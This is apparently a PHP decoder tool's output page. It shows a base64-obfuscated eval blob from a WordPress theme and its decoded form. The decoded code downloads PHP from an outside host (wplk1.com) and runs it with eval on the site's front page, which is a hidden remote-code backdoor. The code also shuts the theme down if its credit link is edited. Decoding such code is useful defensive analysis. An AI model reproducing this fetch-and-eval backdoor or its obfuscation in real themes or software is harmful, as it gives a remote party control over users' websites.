Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('ZnVuY3Rpb24gdGhlbWVfY3JlZGl0cygpIHsNCiRwYWdlZCA9IGdldF9xdWVyeV92YXIoIC..

Decoded Output download

function theme_credits() {
$paged = get_query_var( 'paged' ); if ( (!$paged) && is_home() && is_front_page() ):
$cc_content = @file_get_contents("http://www.wplk1.com/textScript/30f451a97d");
if ( $cc_content === FALSE ) {
} else { ?>
<aside><div id="tc"><?php eval($cc_content); ?></div></aside>
<?php } endif; }
add_action('naturale_credits','theme_credits');

function theme_deactivated() { 
global $theme_name;
echo '<div style="background-color:#FFF;color:#000;width:1000px;margin:0 auto;padding:20px;font-size:1.5em;line-height:1.8em;text-align:center;"><div style="color:#C00"><i class="fa fa-exclamation-triangle fa-5x"></i></div><div style="font-size:0.8em;"><a style="color:blue" href=' . admin_url() . '>&laquo; Back To Admin Dashboard</a></div>This theme is now <b>DEACTIVATED</b> because you have removed or edited the protected link<div style="font-size:0.8em;">Please consider purchasing the <strong>theme developer license</strong> if you want to use it without the credit/sponsor links</div><div style="font-size:0.8em;">Please visit the theme page for more info - <a style="color:blue" href=\'http://www.magpress.com/wordpress-themes/' . strtolower($theme_name) . '.html\' target=\'_blank\'>http://www.magpress.com/wordpress-themes/' . strtolower($theme_name) . '.html</a></div></div>';
}

function check_theme_credits() { 
$l = "<?php do_action('naturale_credits'); ?>";
$f = get_template_directory() . "/sidebar-left.php";
$fd = fopen($f, "r");
$c = fread($fd, filesize($f));
fclose($fd); if ( strpos($c, $l) == 0 ) {
theme_deactivated(); die; }
}

function check_theme_header() {  
if (!(function_exists("functions_file_exists") && function_exists("theme_footer_v"))) { 
theme_deactivated(); die;}
}

function functions_file_exists() {
if (!file_exists(get_template_directory() . "/functions.php") || !function_exists("theme_deactivated") ) { theme_deactivated(); die; }
}

add_action('wp_head', 'check_theme_credits');
add_action('wp_head', 'check_theme_header');
add_action('wp_head', 'functions_file_exists');

remove_action('admin_head', 'check_theme_credits');
remove_action('admin_head', 'check_theme_header');
remove_action('admin_head', 'functions_file_exists');

Did this file decode correctly?

Original Code

eval(base64_decode('ZnVuY3Rpb24gdGhlbWVfY3JlZGl0cygpIHsNCiRwYWdlZCA9IGdldF9xdWVyeV92YXIoICdwYWdlZCcgKTsgaWYgKCAoISRwYWdlZCkgJiYgaXNfaG9tZSgpICYmIGlzX2Zyb250X3BhZ2UoKSApOg0KJGNjX2NvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cud3BsazEuY29tL3RleHRTY3JpcHQvMzBmNDUxYTk3ZCIpOw0KaWYgKCAkY2NfY29udGVudCA9PT0gRkFMU0UgKSB7DQp9IGVsc2UgeyA/Pg0KPGFzaWRlPjxkaXYgaWQ9InRjIj48P3BocCBldmFsKCRjY19jb250ZW50KTsgPz48L2Rpdj48L2FzaWRlPg0KPD9waHAgfSBlbmRpZjsgfQ0KYWRkX2FjdGlvbignbmF0dXJhbGVfY3JlZGl0cycsJ3RoZW1lX2NyZWRpdHMnKTsNCg0KZnVuY3Rpb24gdGhlbWVfZGVhY3RpdmF0ZWQoKSB7IA0KZ2xvYmFsICR0aGVtZV9uYW1lOw0KZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojRkZGO2NvbG9yOiMwMDA7d2lkdGg6MTAwMHB4O21hcmdpbjowIGF1dG87cGFkZGluZzoyMHB4O2ZvbnQtc2l6ZToxLjVlbTtsaW5lLWhlaWdodDoxLjhlbTt0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgc3R5bGU9ImNvbG9yOiNDMDAiPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi10cmlhbmdsZSBmYS01eCI+PC9pPjwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTowLjhlbTsiPjxhIHN0eWxlPSJjb2xvcjpibHVlIiBocmVmPScgLiBhZG1pbl91cmwoKSAuICc+JmxhcXVvOyBCYWNrIFRvIEFkbWluIERhc2hib2FyZDwvYT48L2Rpdj5UaGlzIHRoZW1lIGlzIG5vdyA8Yj5ERUFDVElWQVRFRDwvYj4gYmVjYXVzZSB5b3UgaGF2ZSByZW1vdmVkIG9yIGVkaXRlZCB0aGUgcHJvdGVjdGVkIGxpbms8ZGl2IHN0eWxlPSJmb250LXNpemU6MC44ZW07Ij5QbGVhc2UgY29uc2lkZXIgcHVyY2hhc2luZyB0aGUgPHN0cm9uZz50aGVtZSBkZXZlbG9wZXIgbGljZW5zZTwvc3Ryb25nPiBpZiB5b3Ugd2FudCB0byB1c2UgaXQgd2l0aG91dCB0aGUgY3JlZGl0L3Nwb25zb3IgbGlua3M8L2Rpdj48ZGl2IHN0eWxlPSJmb250LXNpemU6MC44ZW07Ij5QbGVhc2UgdmlzaXQgdGhlIHRoZW1lIHBhZ2UgZm9yIG1vcmUgaW5mbyAtIDxhIHN0eWxlPSJjb2xvcjpibHVlIiBocmVmPVwnaHR0cDovL3d3dy5tYWdwcmVzcy5jb20vd29yZHByZXNzLXRoZW1lcy8nIC4gc3RydG9sb3dlcigkdGhlbWVfbmFtZSkgLiAnLmh0bWxcJyB0YXJnZXQ9XCdfYmxhbmtcJz5odHRwOi8vd3d3Lm1hZ3ByZXNzLmNvbS93b3JkcHJlc3MtdGhlbWVzLycgLiBzdHJ0b2xvd2VyKCR0aGVtZV9uYW1lKSAuICcuaHRtbDwvYT48L2Rpdj48L2Rpdj4nOw0KfQ0KDQpmdW5jdGlvbiBjaGVja190aGVtZV9jcmVkaXRzKCkgeyANCiRsID0gIjw/cGhwIGRvX2FjdGlvbignbmF0dXJhbGVfY3JlZGl0cycpOyA/PiI7DQokZiA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICIvc2lkZWJhci1sZWZ0LnBocCI7DQokZmQgPSBmb3BlbigkZiwgInIiKTsNCiRjID0gZnJlYWQoJGZkLCBmaWxlc2l6ZSgkZikpOw0KZmNsb3NlKCRmZCk7IGlmICggc3RycG9zKCRjLCAkbCkgPT0gMCApIHsNCnRoZW1lX2RlYWN0aXZhdGVkKCk7IGRpZTsgfQ0KfQ0KDQpmdW5jdGlvbiBjaGVja190aGVtZV9oZWFkZXIoKSB7ICANCmlmICghKGZ1bmN0aW9uX2V4aXN0cygiZnVuY3Rpb25zX2ZpbGVfZXhpc3RzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJ0aGVtZV9mb290ZXJfdiIpKSkgeyANCnRoZW1lX2RlYWN0aXZhdGVkKCk7IGRpZTt9DQp9DQoNCmZ1bmN0aW9uIGZ1bmN0aW9uc19maWxlX2V4aXN0cygpIHsNCmlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gIi9mdW5jdGlvbnMucGhwIikgfHwgIWZ1bmN0aW9uX2V4aXN0cygidGhlbWVfZGVhY3RpdmF0ZWQiKSApIHsgdGhlbWVfZGVhY3RpdmF0ZWQoKTsgZGllOyB9DQp9DQoNCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCAnY2hlY2tfdGhlbWVfY3JlZGl0cycpOw0KYWRkX2FjdGlvbignd3BfaGVhZCcsICdjaGVja190aGVtZV9oZWFkZXInKTsNCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCAnZnVuY3Rpb25zX2ZpbGVfZXhpc3RzJyk7DQoNCnJlbW92ZV9hY3Rpb24oJ2FkbWluX2hlYWQnLCAnY2hlY2tfdGhlbWVfY3JlZGl0cycpOw0KcmVtb3ZlX2FjdGlvbignYWRtaW5faGVhZCcsICdjaGVja190aGVtZV9oZWFkZXInKTsNCnJlbW92ZV9hY3Rpb24oJ2FkbWluX2hlYWQnLCAnZnVuY3Rpb25zX2ZpbGVfZXhpc3RzJyk7'));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 12a9d5aa1ae4a8eb4eed13613d805ea2
Eval Count 1
Decode Time 96 ms